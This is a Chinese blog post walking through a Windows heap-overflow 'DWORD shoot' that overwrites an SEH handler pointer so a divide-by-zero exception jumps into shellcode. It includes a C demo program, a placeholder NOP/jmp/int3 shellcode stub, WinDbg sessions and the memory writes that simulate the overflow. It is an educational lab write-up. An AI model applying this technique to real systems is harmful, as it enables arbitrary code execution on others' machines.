堆溢出(DwordShoot)利用SEH异常处理

本文介绍如何通过修改堆溢出后的异常处理链实现SEH异常处理利用,详细展示了利用过程中的关键步骤和技术细节。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

    异常处理的身影处处可见,最常见的处理方式就是当异常发生时,在异常处理模块中记录日志,便于程序员事后定位。但是,被异常处理包含的代码真的会在异常发生时让程序优雅的退出吗?在程序的世界里什么都可能发生,所以,可以说前面那个问题的答案是否定的。这正是本文的主题:利用SEH异常处理。

    SEH溢出有多种方式:栈溢出和堆溢出。本文关注堆溢出后如何利用SEH。堆溢出的步骤和前文一样:从FreeList[n]中获取即将被HeapAlloc函数分配出去的空闲块的地址。然后修改该块块首_FREE_HEAP_ENTRY!_LIST_ENTRY结构中的前后指针的值,达到修改内存地址的目的。对于本文,_LIST_ENTRY!Flink将被设置为最近进入异常处理块时插入在异常链表中异常处理块的地址,而_LIST_ENTRY!Blink设置为shellcode的地址;调用HeapAlloc函数后,异常处理块的地址被指向为shellcode,之后在异常处理块中触发异常。使得shellcode得以执行。

以下是实例代码:

#include <windows.h>
#include <stdio.h>
//shellcode用0xcc软件中断做结尾,引起异常这样方便验证shellcode是否成功执行
char shellcode[] = {"\x90\x90\xeb\x04\x90\x90\x90\x90" \
					"\x90\x90\x90\x90\x90\x90\x90\xcc"};

int main()
{

	HANDLE hp = HeapCreate(0,0x10000,0x100000);
	LPVOID h1,h2,h3,h4,h5,h6,h7=0;
	int i=0,j=0;
	
	printf("shellcode:%08x\n",shellcode);
	
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	
	_asm int 3;
	__try
	{
                //1)处
		HeapFree(hp,0,h1);
		HeapFree(hp,0,h3);
		HeapFree(hp,0,h5);
		
		h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
		//2)处
		i/=j;
	}
	__except(1)
	{
		printf("exception handled\n");
	}
	
	return 0;
}
    我们的目标是在执行h7 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);语句时将异常处理块的地址修改为shellcode的地址。之后触发除零异常时跳到shellcode中执行代码,而不是执行printf("exception handled\n");往屏幕输出字符串。双击运行程序,用int 3断点异常唤出windbg调试程序,接着开始开始利用SEH之旅~

进入__try/__except块后查看当前线程的异常处理链表和栈顶位置:

0:000> !exchain ;windbg查看线程异常处理链表的命令
0012ff70: sehDwordShoot+121c (0040121c)
0012ffb0: sehDwordShoot+121c (0040121c)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
  CRT scope  0, filter: kernel32!BaseProcessStart+29 (77e85168)
                func:   kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff

0:000> r esp
esp=0012ff28
异常处理链中的节点存放在栈中,每个节点的类型为:

0:000> dt _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION ;此处存放的是异常处理函数的地址

离栈顶最近的节点一定是最近依次进入__try/__except块的代码。当前程序栈顶esp=0012ff28,离它最近的异常处理节点位于0012ff70--这就是程序运行到1)处时,在栈中建立的异常处理结点。
顺带看下它的异常处理函数的地址:

0:000> dt _EXCEPTION_REGISTRATION_RECORD 0012ff70
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x0012ffb0 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x0040121c     _EXCEPTION_DISPOSITION  +0
虚拟地址0x40121C就是异常处理函数的地址,对于c/c++的程序这个函数对应于__except_handler3。这不是我瞎吹,可以结合程序的Map文件分析得到~

1.模块加载在00400000
0:000> lm
start    end        module name
00400000 00408000   sehDwordShoot C (no symbols) 


2.模块的代码段偏移OVA:0x1000,通过模块在内存中的PE信息得到
0:000> !dh 00400000 
SECTION HEADER #1 ;只显示和代码段相关的节表
   .text name
    3C36 virtual size
    1000 virtual address ;代码段相对于模块的偏移
    4000 size of raw data
    1000 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read

3.map文件显示距离代码段偏移0x21c处的符号
0001:0000021c       __except_handler3          0040121c f   LIBC:exsup3.obj
把三者结合起来:0x400000(模块基质)+0x1000(代码段在模块中的偏移)+0x021c符号在代码段中的偏移=0x0040121c,这个地址对应的符号:__except_handler3-->这不就是异常链表中的异常处理节点吗?vs生成的程序异常处理函数统一为__except_handler3,异常发生时由系统调用__except_handler3,由它调用我们编码在__except(){}中的异常处理代码,相当于开篇提到过的记录异常日志。

扯开了一点,继续我们的主题。当程序执行完3次HeapFree后空闲链表FreeList[2]中已有3个空闲项:

0:000> dt _HEAP 510000
ntdll!_HEAP
+0x178 FreeLists        : [128] _LIST_ENTRY [ 0x5106e8 - 0x5106e8 ]

0:000> dd 510178+4*4 L2 ;_LIST_ENTRY类型的空闲链表数组元素FreeList[2]的元素
00510188  00510688 005106c8

0:000> dt _LIST_ENTRY 00510188 ;链表头
ntdll!_LIST_ENTRY
 [ 0x510688 - 0x5106c8 ]
   +0x000 Flink            : 0x00510688 _LIST_ENTRY [ 0x5106a8 - 0x510188 ]
   +0x004 Blink            : 0x005106c8 _LIST_ENTRY [ 0x510188 - 0x5106a8 ]
0:000> dt _LIST_ENTRY 00510688
ntdll!_LIST_ENTRY
 [ 0x5106a8 - 0x510188 ]
   +0x000 Flink            : 0x005106a8 _LIST_ENTRY [ 0x5106c8 - 0x510688 ]
   +0x004 Blink            : 0x00510188 _LIST_ENTRY [ 0x510688 - 0x5106c8 ]
0:000> dt _LIST_ENTRY 005106a8
ntdll!_LIST_ENTRY
 [ 0x5106c8 - 0x510688 ]
   +0x000 Flink            : 0x005106c8 _LIST_ENTRY [ 0x510188 - 0x5106a8 ]
   +0x004 Blink            : 0x00510688 _LIST_ENTRY [ 0x5106a8 - 0x510188 ]
0:000> dt _LIST_ENTRY 005106c8 ;最后一次调用HeapFree时插入的空闲堆块
ntdll!_LIST_ENTRY
 [ 0x510188 - 0x5106a8 ]
   +0x000 Flink            : 0x00510188 _LIST_ENTRY [ 0x510688 - 0x5106c8 ]
   +0x004 Blink            : 0x005106a8 _LIST_ENTRY [ 0x5106c8 - 0x510688 ]
从windbg的结果看出,当前空闲链表FreeList[2]的形成过程如图所示:


画个图果然直观形象很多~当执行HeapAlloc时将移除0x5106c8,并修改0x5106a8->Flink的值为FreeList[n],巧了就是0x5106a8正好是0x5106c8->Blink指向,同时FreeList[n]由0x5106c8->Flink指向。这段话改用C语言描述就是0x5106c8->Blink->Flink=0x5106c8->Flink ,0x5106c8->Blink是修改的目标,0x5106c8->Flink是源。因此,我们修改0x5106c8处的_LIST_ENTRY结构内容即可。要修改的是0x12ff74处异常处理函数,将它修改为0x406030处shellcode的地址,带入上面标红处的公式0x5106c8->Blink处填入0x12ff74;而0x5106c8->Flink处填0x406030

0:000> ed 5106cc 12ff74
0:000> ed 5106c8 406030
这里直接修改内存是为了模拟一次堆溢出,尽管我可以直接用memcpy代替。为了让异常分发执行到shellcode时能及时停下,需要给shellcode下访问断点:

0:000> ba e1 406030;g
紧接着,触发除0异常并顺利触发访存断点

SehDwordShoot+0x10b9:
004010b9 f7f9            idiv    eax,ecx
0:000> g
(44c.204): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=77f51597 ecx=00000000 edx=00000000 esi=00510000 edi=77f516f8
eip=004010b9 esp=0012ff34 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010246
SehDwordShoot+0x10b9:
004010b9 f7f9            idiv    eax,ecx



同时,我们看看线程异常链表:

0:000> !exchain
0012fb84: ntdll!ExecuteHandler2+3a (77f833b4)
0012ff70: SehDwordShoot+6030 (00406030) ;<-------成功被修改到shellcode的地址
0012ffb0: SehDwordShoot+121c (0040121c)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
  CRT scope  0, filter: kernel32!BaseProcessStart+29 (77e85168)
                func:   kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff

本次堆溢出利用SEH异常处理结束~


后记:

大家有没有注意到我shellcode构造时有点特别?

shellcode中的第二个DWORD会在HeapAlloc时被改写(这是执行0x5106c8->Flink->Blink=0x5106c8->Blink的副作用),这个改写常常会引发shellcode执行失败。然而,0Day安全一书没有提到解决的方法。我调试多次后发现,只要让shellcode中第二个DWORD作为buff供HeapAlloc修改,不去执行其中的内容即可。如何不执行其中的代码?当然是在shellcode的第一个DWORD中设置一段jmp语句,将执行流强制跳转到第二个DWORD之后即可~第一个DWORD中的opcode翻译成汇编就是:

nop

nop

jmp 0x04










评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值